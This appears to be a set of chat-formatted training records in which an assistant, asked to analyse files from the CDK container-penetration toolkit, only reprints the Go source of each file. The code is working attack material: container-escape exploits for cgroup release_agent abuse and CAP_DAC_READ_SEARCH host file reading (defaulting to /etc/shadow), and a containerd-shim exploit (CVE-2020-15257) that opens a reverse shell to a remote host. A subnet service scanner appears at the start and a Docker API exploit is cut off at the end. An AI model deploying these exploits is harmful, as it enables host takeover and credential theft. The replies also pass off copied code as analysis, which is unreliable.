!no_service_probe\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage discovery\n\nimport (\n\t\"log\"\n\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/tool/probe\"\n)\n\n// plugin interface\ntype serviceProbeS struct{ base.BaseExploit }\n\nfunc (p serviceProbeS) Desc() string {\n\treturn \"scan subnet to find Docker/K8s inner services, usage: cdk run service-probe 192.168.1.0-255\"\n}\nfunc (p serviceProbeS) Run() bool {\n\targs := cli.Args[\"\"].([]string)\n\tif len(args) != 1 {\n\t\tlog.Println(\"Invalid input args\")\n\t\tlog.Fatal(p.Desc())\n\t}\n\tprobe.TCPScanExploitAPI(args[0])\n\treturn true\n}\n\nfunc init() {\n\texploit := serviceProbeS{}\n\texploit.ExploitType = \"discovery\"\n\tplugin.RegisterExploit(\"service-probe\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/escaping/abuse_unpriv_userns.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_abuse_unpriv_userns && linux\n// +build !no_abuse_unpriv_userns,linux\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage escaping\n\nimport (\n\t\"log\"\n\t\"os\"\n\t\"os/exec\"\n\t\"syscall\"\n\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/errors\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/util\"\n\t\"golang.org/x/sys/unix\"\n)\n\n// Contributor: kmahyyg & neargle\n\n// reference:\n// https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/\n// https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/\n// https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492/blob/main/can-ctr-escape-cve-2022-0492.sh\n\n// tested in ubuntu docker, only usable in cgroup v1 containers\n// [host] sysctl -w kernel.unprivileged_userns_clone=1\n// [host] docker run -v /root/cdk:/cdk --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bash\n// [inside container] ./cdk run abuse-unpriv-newns \"touch /hacked\"\n\n// manual exploit:\n// - set host `sysctl -w kernel.unprivileged_userns_clone=1`, which is default after linux 5.10 for most distros\n// - run a container with `--security-opt seccomp=unconfined --security-opt apparmor=unconfined` using docker, make sure the user inside container is root.\n// apparmor should also be disabled.\n// - check `/etc/mtab` for host_path: ` export host_path=`sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab` `\n// - check `/proc/self/cgroup` for cgroup, select one under root, since release_agent is writable only in root cgroup.\n// hence, the only available cgroup is RDMA\n// - create mountpoint `mkdir -p /mnt/cgrp1`\n// - create new namespace `unshare -UrmC bash`\n// - mount to corresponding path `mount -t cgroup -o rdma cgroup /mnt/cgrp1`\n// - create subtasks cgroup `mkdir -p /mnt/cgrp1/x`\n// - set notify_on_release to 1 `echo 1 > /mnt/cgrp1/x/notify_on_release`\n// - set release_agent to `${host_path}/exp.sh` `echo ${host_path}/exp.sh > /mnt/cgrp1/release_agent`\n// - write exploit code to /exp.sh in container\n// - run `chmod +x /exp.sh`\n// - create new process, add to new corresponding namespace, then exit.\n// sh -c \"echo \\$\\$ > /mnt/cgrp1/x/cgroup.procs\"\n// - RDMA sub-cgroup will be released.\n// - check result.\n\nfunc UnprivUserNS(cmd string) error {\n\t// check cgroup version\n\tcgVer, err := util.GetCgroupVersion()\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: \"cannot determine cgroup version\"}\n\t}\n\tif cgVer != 1 {\n\t\treturn &errors.CDKRuntimeError{Err: nil, CustomMsg: \"exploit only suitable for cgroup v1\"}\n\t}\n\n\t// prerequisites satisfied, move current process in new user namespace\n\t// https://elixir.bootlin.com/linux/v5.16.13/source/kernel/fork.c#L2957\n\t// unshare can only be used in single-thread program. Golang program is always multi-thread.\n\t// related golang issue:\n\t// https://github.com/golang/go/issues/22283\n\t// https://github.com/golang/go/issues/12125 (not resolved yet)\n\t// more specifically: https://github.com/golang/go/issues/50098\n\t// golang contributor think that there's no possible solution until now (2022-3).\n\tcurExePath, err := os.Executable()\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{\n\t\t\tErr: err,\n\t\t\tCustomMsg: \"cannot get current executable path\",\n\t\t}\n\t}\n\n\t// by default, use \"rdma\" for kernel 4.x - 5.13, tested on 4.19/5.16\n\t// for 5.13+, use \"misc\"\n\t// But more precisely, check if any root cgroup is preferred.\n\texploitSubSys := \"\"\n\tavailSubSyses, err := util.GetAllCGroup()\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: \"cannot get cgroup info\"}\n\t}\n\tfor _, v := range availSubSyses {\n\t\tif v.CgroupPath == \"/\" {\n\t\t\texploitSubSys = v.ControllerLst\n\t\t\tbreak\n\t\t}\n\t}\n\tif len(exploitSubSys) == 0 {\n\t\treturn &errors.CDKRuntimeError{Err: nil, CustomMsg: \"cannot find suitable subsystem for exploit\"}\n\t}\n\n\t// start actual exploit\n\treExecCmd := exec.Command(curExePath, \"run\", \"mount-cgroup\", cmd, exploitSubSys)\n\t// same way as call unshare\n\treExecCmd.SysProcAttr = &syscall.SysProcAttr{\n\t\tUnshareflags: unix.CLONE_NEWUSER | unix.CLONE_NEWNS | unix.CLONE_NEWCGROUP,\n\t\tUidMappings: []syscall.SysProcIDMap{\n\t\t\t{ContainerID: 0, HostID: syscall.Geteuid(), Size: 1},\n\t\t},\n\t\tGidMappings: []syscall.SysProcIDMap{\n\t\t\t{ContainerID: 0, HostID: syscall.Getegid(), Size: 1},\n\t\t},\n\t\tGidMappingsEnableSetgroups: false,\n\t\t// + In the case of gid_map, use of the setgroups(2) system\n\t\t// call must first be denied by writing \"deny\" to the\n\t\t// /proc/[pid]/setgroups file (see below) before writing to\n\t\t// gid_map.\n\t\t// https://man7.org/linux/man-pages/man7/user_namespaces.7.html\n\t\t// If this is not working, we have to let this process sleep and\n\t\t// get its PID, then manually execute the following commented code.\n\t}\n\t// redirect output to current tty\n\treExecCmd.Stdout = os.Stdout\n\treExecCmd.Stderr = os.Stderr\n\n\t//// call unshare then execute\n\t//// get current userid,groupid for mapping\n\t//uidMapStr := fmt.Sprintf(\"0 %d 1\", os.Geteuid())\n\t//gidMapStr := fmt.Sprintf(\"0 %d 1\", os.Getegid())\n\t//// reason above, strace `unshare` tell you to do that.\n\t//err = ioutil.WriteFile(fmt.Sprintf(\"/proc/%d/setgroups\", reExecCmd.Process.Pid), []byte(\"deny\"), 0644)\n\t//if err != nil {\n\t//\treturn &errors.CDKRuntimeError{\n\t//\t\tErr: err,\n\t//\t\tCustomMsg: \"gid_map setgroups failed\",\n\t//\t}\n\t//}\n\t//// set uid and gid mapping, so you have all the caps required in new namespace to mount.\n\t//err = ioutil.WriteFile(fmt.Sprintf(\"/proc/%d/uid_map\", reExecCmd.Process.Pid), []byte(uidMapStr), 0644)\n\t//if err != nil {\n\t//\treturn &errors.CDKRuntimeError{\n\t//\t\tErr: err,\n\t//\t\tCustomMsg: \"set uid_map failed\",\n\t//\t}\n\t//}\n\t//err = ioutil.WriteFile(fmt.Sprintf(\"/proc/%d/gid_map\", reExecCmd.Process.Pid), []byte(gidMapStr), 0644)\n\t//if err != nil {\n\t//\treturn &errors.CDKRuntimeError{\n\t//\t\tErr: err,\n\t//\t\tCustomMsg: \"set gid_map failed\",\n\t//\t}\n\t//}\n\t//// then execute mount-cgroup exploit with rdma subsystem\n\n\terr = reExecCmd.Run()\n\treturn err\n}\n\n// exploit interface implementation\n\ntype ExploitUnprivUserNS struct{ base.BaseExploit }\n\nfunc (exp ExploitUnprivUserNS) Desc() string {\n\treturn \"abuse mount-cgroup co-operating with unprivileged user namespace creation. usage: ./cdk run abuse-unpriv-userns \\\"shell-cmd-payloads\\\"\"\n}\n\nfunc (exp ExploitUnprivUserNS) Run() bool {\n\targs := cli.Args[\"\"].([]string)\n\tif len(args) != 1 {\n\t\tlog.Println(\"Invalid Input Args.\")\n\t\tlog.Fatal(exp.Desc())\n\t}\n\tcmd := args[0]\n\tlog.Printf(\"User-Defined Shell Payload: %s \\n\", cmd)\n\terr := UnprivUserNS(cmd)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn false\n\t}\n\treturn true\n}\n\nfunc init() {\n\texploit := ExploitUnprivUserNS{}\n\texploit.ExploitType = \"escaping\"\n\tplugin.RegisterExploit(\"abuse-unpriv-userns\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/escaping/cap_dac_read_search.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build linux && !no_cap_dac_read_search\n// +build linux,!no_cap_dac_read_search\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage escaping\n\nimport (\n\t\"io/ioutil\"\n\t\"os\"\n\t\"os/exec\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\n\t\"golang.org/x/sys/unix\"\n\n\t\"fmt\"\n\t\"log\"\n)\n\nconst (\n\tdefaultRef = \"/etc/hostname\"\n\tdefaultTarget = \"/etc/shadow\"\n\tdefaultShell = \"/bin/bash\"\n)\n\n// plugin interface\ntype CapDacReadSearch struct{ base.BaseExploit }\n\nfunc (p CapDacReadSearch) Desc() string {\n\tvar buffer strings.Builder\n\n\tbuffer.WriteString(\"Read files from host or chroot to host and spawn a cmd. \")\n\tbuffer.WriteString(\"The First argument is file bind-mounted to container from host (default: %s), \")\n\tbuffer.WriteString(\"the second argument specifies which file to read (default: %s), \")\n\tbuffer.WriteString(\"the third and remaining arguments specifies command executed in host root filesystem (default: %s). \")\n\tbuffer.WriteString(\"If there is one argument, the first argument is the target file to read. \")\n\tbuffer.WriteString(\"When second argument is \\\"/\\\", this exploit will spawn a cmd. \")\n\n\treturn fmt.Sprintf(\n\t\tbuffer.String(),\n\t\tdefaultRef,\n\t\tdefaultTarget,\n\t\tdefaultShell,\n\t)\n}\n\nfunc (p CapDacReadSearch) Run() bool {\n\targs := cli.Args[\"\"].([]string)\n\n\tvar (\n\t\tref = defaultRef\n\t\ttarget = defaultTarget\n\t\tcmd = []string{defaultShell}\n\t)\n\n\tswitch len(args) {\n\tcase 0:\n\tcase 1:\n\t\ttarget = args[0]\n\tcase 2:\n\t\tref = args[0]\n\t\ttarget = args[1]\n\tdefault:\n\t\tref = args[0]\n\t\ttarget = args[1]\n\t\tcmd = args[2:]\n\t}\n\n\tchroot := false\n\tif target == \"/\" {\n\t\tchroot = true\n\t}\n\n\tfmt.Printf(\"Running with target: %v, ref: %v\\n\", target, ref)\n\tCapDacReadSearchExploit(target, ref, chroot, cmd)\n\n\treturn false\n}\n\nfunc init() {\n\texploit := CapDacReadSearch{}\n\texploit.ExploitType = \"escaping\"\n\tplugin.RegisterExploit(\"cap-dac-read-search\", exploit)\n}\n\nfunc execCommand(cmdSlice []string) {\n\tcmd := exec.Command(cmdSlice[0], cmdSlice[1:]...)\n\tcmd.Stdout = os.Stdout\n\tcmd.Stdin = os.Stdin\n\tcmd.Stderr = os.Stderr\n\tif err := cmd.Run(); err != nil {\n\t\tlog.Fatalf(\"[-] Run cmd: %s\\n\", err)\n\t}\n}\n\nfunc CapDacReadSearchExploit(target, ref string, chroot bool, cmd []string) error {\n\t// reference something bind mounted to container from host\n\tfd, err := unix.Open(ref, unix.O_RDONLY, 0)\n\tif err != nil {\n\t\tlog.Fatalf(\"[-] Open: %v\\n\", err)\n\t}\n\n\t// inode of / is always 2 for ext4: https://ext4.wiki.kernel.org/index.php/Ext4_Disk_Layout\n\t// and i_generation is always 0, so handle is always 0x0000000000000002\n\th := unix.NewFileHandle(1, []byte{0x02, 0, 0, 0, 0, 0, 0, 0})\n\n\tfd, err = unix.OpenByHandleAt(fd, h, 0)\n\tif err != nil {\n\t\tlog.Fatalf(\"[-] OpenByHandleAt: %v\\n\", err)\n\t}\n\n\tif err = unix.Fchdir(fd); err != nil {\n\t\tlog.Fatalf(\"[-] Fchdir: %v\\n\", err)\n\t}\n\n\tif chroot {\n\t\tif err = unix.Chroot(\".\"); err != nil {\n\t\t\tlog.Fatalf(\"[-] Chroot: %v\\n\", err)\n\t\t}\n\n\t\tfmt.Printf(\"executing command(%s)...\\n\", strings.Join(cmd, \" \"))\n\n\t\texecCommand(cmd)\n\t\treturn nil\n\t}\n\n\tvar content []byte\n\tif content, err = ioutil.ReadFile(fmt.Sprintf(\"./%s\", target)); err != nil {\n\t\tlog.Fatalf(\"[-] read file: %s\\n\", content)\n\t}\n\n\tfmt.Println(string(content))\n\n\treturn nil\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/escaping/cap_dac_read_search_test.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build linux && !no_cap_dac_read_search\n// +build linux,!no_cap_dac_read_search\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage escaping\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc TestWriteString(t *testing.T) {\n\n\tvar (\n\t\tdefaultRef = \"/etc/hostname\"\n\t\tdefaultTarget = \"/etc/shadow\"\n\t\tdefaultShell = \"/bin/bash\"\n\t)\n\n\tvar buffer strings.Builder\n\n\tbuffer.WriteString(\"Read files from host or chroot to host and spawn a cmd. \")\n\tbuffer.WriteString(\"The First argument is file bind-mounted to container from host (default: %s), \")\n\tbuffer.WriteString(\"the second argument specifies which file to read (default: %s), \")\n\tbuffer.WriteString(\"the third and remaining arguments specifies command executed in host root filesystem (default: %s). \")\n\tbuffer.WriteString(\"If there is one argument, the first argument is the target file to read. \")\n\tbuffer.WriteString(\"When second argument is \\\"/\\\", this exploit will spawn a cmd. \")\n\n\tfmt.Println(fmt.Sprintf(buffer.String(), defaultRef, defaultTarget, defaultShell))\n\texploit := CapDacReadSearch{}\n\tfmt.Println(exploit.Desc())\n\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/escaping/check_ptrace.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_check_ptrace\n// +build !no_check_ptrace\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage escaping\n\nimport (\n\t\"io/ioutil\"\n\t\"log\"\n\t\"regexp\"\n\t\"strconv\"\n\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/tool/ps\"\n)\n\nconst sysPtraceCapMask uint64 = 2 << 18\n\nfunc enableSysPtraceCap(mask uint64) bool {\n\treturn mask&sysPtraceCapMask != 0\n}\n\nfunc CheckPidInject() bool {\n\tdata, err := ioutil.ReadFile(\"/proc/self/status\")\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn false\n\t}\n\n\tpattern := regexp.MustCompile(\"(?i)capeff:\\\\s*?([a-z0-9]+)\\\\s\")\n\tparams := pattern.FindAllStringSubmatch(string(data), 1)\n\n\tfor _, matched := range params {\n\t\tmask, err := strconv.ParseUint(matched[1], 16, 64)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\treturn false\n\t\t}\n\t\tif enableSysPtraceCap(mask) {\n\t\t\tlog.Println(\"SYS_PTRACE capability was enabled.\")\n\t\t\tps.RunPs()\n\t\t\treturn true\n\t\t} else {\n\t\t\tlog.Println(\"SYS_PTRACE capability was disabled.\")\n\t\t\treturn false\n\t\t}\n\t}\n\treturn false\n}\n\n// plugin interface\ntype PidInject struct{ base.BaseExploit }\n\nfunc (p PidInject) Desc() string {\n\treturn \"check if pid injection works with cap=SYS_PTRACE. usage: ./cdk run check-ptrace\"\n}\nfunc (p PidInject) Run() bool {\n\tCheckPidInject()\n\treturn true\n}\n\nfunc init() {\n\texploit := PidInject{}\n\texploit.ExploitType = \"escaping\"\n\tplugin.RegisterExploit(\"check-ptrace\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/escaping/check_ptrace_test.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage escaping\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n)\n\nvar EnableSysPtraceCap = enableSysPtraceCap\n\nfunc TestCheckPidInject(t *testing.T) {\n\tCheckPidInject()\n}\n\nfunc TestCheckSysPtraceCap(t *testing.T) {\n\tassert.False(t, EnableSysPtraceCap(0x00000000a80425fb))\n\tassert.True(t, EnableSysPtraceCap(0x0000003fffffffff))\n\tassert.True(t, EnableSysPtraceCap(0x00000000a80c25fb))\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/escaping/containerd_shim_pwn.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !thin && !no_containerd_shim_pwn\n// +build !thin,!no_containerd_shim_pwn\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage escaping\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/errors\"\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/util\"\n\tshimapi \"github.com/containerd/containerd/runtime/v1/shim/v1\"\n\t\"github.com/containerd/ttrpc\"\n)\n\nvar configJson = `\n{\n \"ociVersion\": \"1.0.1-dev\",\n \"process\": {\n \"terminal\": false,\n \"user\": {\n \"uid\": 0,\n \"gid\": 0\n },\n \"args\": [\n \"/bin/bash\"\n ],\n \"env\": [\n \"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\",\n \"HOSTNAME=b6cee9b57f3b\",\n \"TERM=xterm\"\n ],\n \"cwd\": \"/\"\n },\n \"root\": {\n \"path\": \"/tmp\"\n },\n \"hostname\": \"b6cee9b57f3b\",\n \"hooks\": {\n \"prestart\": [\n {\n \"path\": \"/bin/bash\",\n \"args\": [\"bash\", \"-c\", \"$SHELLCMD$\"],\n \"env\": [\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"]\n }\n ]\n },\n \"linux\": {\n \"resources\": {\n \"devices\": [\n {\n \"allow\": false,\n \"access\": \"rwm\"\n }\n ],\n \"memory\": {\n \"disableOOMKiller\": false\n },\n \"cpu\": {\n \"shares\": 0\n },\n \"blockIO\": {\n \"weight\": 0\n }\n },\n \"namespaces\": [\n {\n \"type\": \"mount\"\n },\n {\n \"type\": \"network\"\n },\n {\n \"type\": \"uts\"\n },\n {\n \"type\": \"ipc\"\n }\n ]\n }\n}\n`\n\nfunc containerdShimApiExp(sock, shellCmd, rhost, rport string) error {\n\tsock = strings.Replace(sock, \"@\", \"\", -1)\n\tconn, err := net.Dial(\"unix\", \"\\x00\"+sock)\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: \"fail to connect unix socket \" + sock}\n\t}\n\n\tclient := ttrpc.NewClient(conn)\n\tshimClient := shimapi.NewShimClient(client)\n\tctx := context.Background()\n\n\t// config.json file /run/containerd/io.containerd.runtime.v1.linux/moby//config.json\n\t// rootfs path /var/lib/docker/overlay2//merged\n\n\tlocalBundlePath := fmt.Sprintf(\"/cdk_%s\", util.RandString(6))\n\tos.Mkdir(localBundlePath, os.ModePerm)\n\n\t// dockerAbsPath := GetDockerAbsPath() + \"/merged\" + localBundlePath\n\tabsPath := GetDockerAbsPath()\n\tabsPath = strings.TrimSuffix(absPath, \"/merged\")\n\tdockerAbsPath := filepath.Join(absPath, \"merged\", localBundlePath)\n\t// add a new log info, to find bug in real world\n\tlog.Println(\"rootfs path, dockerAbsPath:\", dockerAbsPath)\n\n\tvar payloadShellCmd = \"\"\n\tif len(shellCmd) > 0 {\n\t\tpayloadShellCmd = shellCmd\n\t} else {\n\t\tpayloadShellCmd = fmt.Sprintf(\"bash -i >& /dev/tcp/%s/%s 0>&1\", rhost, rport)\n\t}\n\tconfigJson = strings.Replace(configJson, \"$SHELLCMD$\", payloadShellCmd, -1)\n\n\terr = ioutil.WriteFile(localBundlePath+\"/config.json\", []byte(configJson), 0666)\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: \"failed to write file.\"}\n\t}\n\n\tvar M = shimapi.CreateTaskRequest{\n\t\tID: util.RandString(10), // needs to be different in each exploit\n\t\tBundle: dockerAbsPath, // use container abspath so runc can find config.json\n\t\tTerminal: false,\n\t\tStdin: \"/dev/null\",\n\t\tStdout: \"/dev/null\",\n\t\tStderr: \"/dev/null\",\n\t}\n\n\tinfo, err := shimClient.Create(ctx, &M)\n\tif err != nil {\n\t\treturn &errors.CDKRuntimeError{Err: err, CustomMsg: \"rpc error response.\"}\n\t}\n\tlog.Println(\"shim pid:\", info.Pid)\n\treturn nil\n}\n\nfunc getShimSockets() ([][]byte, error) {\n\tre, err := regexp.Compile(\"@/containerd-shim/.*\\\\.sock\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdata, err := ioutil.ReadFile(\"/proc/net/unix\")\n\tmatches := re.FindAll(data, -1)\n\tif matches == nil {\n\t\treturn nil, errors.New(\"Cannot find vulnerable containerd-shim socket.\")\n\t}\n\treturn matches, nil\n}\n\nfunc ContainerdPwn(shellCmd string, rhost string, rport string) error {\n\tmatchset := make(map[string]bool)\n\tsocks, err := getShimSockets()\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor _, b := range socks {\n\t\tsockname := string(b)\n\t\tif _, ok := matchset[sockname]; ok {\n\t\t\tcontinue\n\t\t}\n\t\tlog.Println(\"try socket:\", sockname)\n\t\tmatchset[sockname] = true\n\t\terr = containerdShimApiExp(sockname, shellCmd, rhost, rport)\n\t\tif err == nil { // exploit success\n\t\t\treturn nil\n\t\t} else {\n\t\t\tif strings.Contains(fmt.Sprintln(err), \"close exec fds: open /proc/self/fd\") {\n\t\t\t\tlog.Println(\"exploit success.\")\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\tlog.Println(err)\n\t\t}\n\t}\n\treturn errors.New(\"exploit failed.\")\n}\n\n// plugin interface\ntype containerdShimPwnS struct{ base.BaseExploit }\n\nfunc (p containerdShimPwnS) Desc() string {\n\treturn \"pwn CVE-2020-15257,start a privileged reverse shell to remote host or execute cmd. usage: \\\"./cdk run shim-pwn reverse \\\" or \\\"./cmd shim-pwn \\\" \"\n}\nfunc (p containerdShimPwnS) Run() bool {\n\targs := cli.Args[\"\"].([]string)\n\tif len(args) < 1 {\n\t\tlog.Println(\"invalid input args.\")\n\t\tlog.Fatal(p.Desc())\n\t}\n\tif args[0] == \"reverse\" {\n\t\trhost := args[1]\n\t\trport := args[2]\n\t\tlog.Printf(\"trying to spawn shell to %s:%s\\n\", rhost, rport)\n\t\terr := ContainerdPwn(\"\", rhost, rport)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\treturn false\n\t\t}\n\t} else {\n\t\tshellCmd := strings.Join(args, \" \")\n\t\tlog.Printf(\"trying to run shell cmd: %s\\n\", shellCmd)\n\t\terr := ContainerdPwn(shellCmd, \"\", \"\")\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\treturn false\n\t\t}\n\t}\n\n\treturn true\n}\n\nfunc init() {\n\texploit := containerdShimPwnS{}\n\texploit.ExploitType = \"escaping\"\n\tplugin.RegisterExploit(\"shim-pwn\", exploit)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/exploit/escaping/docker_api_pwn.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n//go:build !no_docker_api_pwn\n// +build !no_docker_api_pwn\n\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage escaping\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/pkg/exploit/base\"\n\n\t\"github.com/cdk-team/CDK/pkg/cli\"\n\t\"github.com/cdk-team/CDK/pkg/plugin\"\n\t\"github.com/cdk-team/CDK/pkg/util\"\n)\n\n// http post body for Docker API exploit\n// https://docs.docker.com/engine/api/v1.24/#31-containers\nvar dockerAPIHttpPostData = `\n{\n\t\"Image\": \"alpine\",\n\t\"Hostname\": \"\",\n\t\"Domainname\": \"\",\n\t\"User\": \"\",\n\t\"AttachStdin\": true,\n\t\"AttachStdout\": true,\n\t\"AttachStderr\": true,\n\t\"Tty\": false,\n\t\"OpenStdin\": true,\n\t\"StdinOnce\": true,\n\t\"Entrypoint\": \"\",\n\t\"Volumes\": 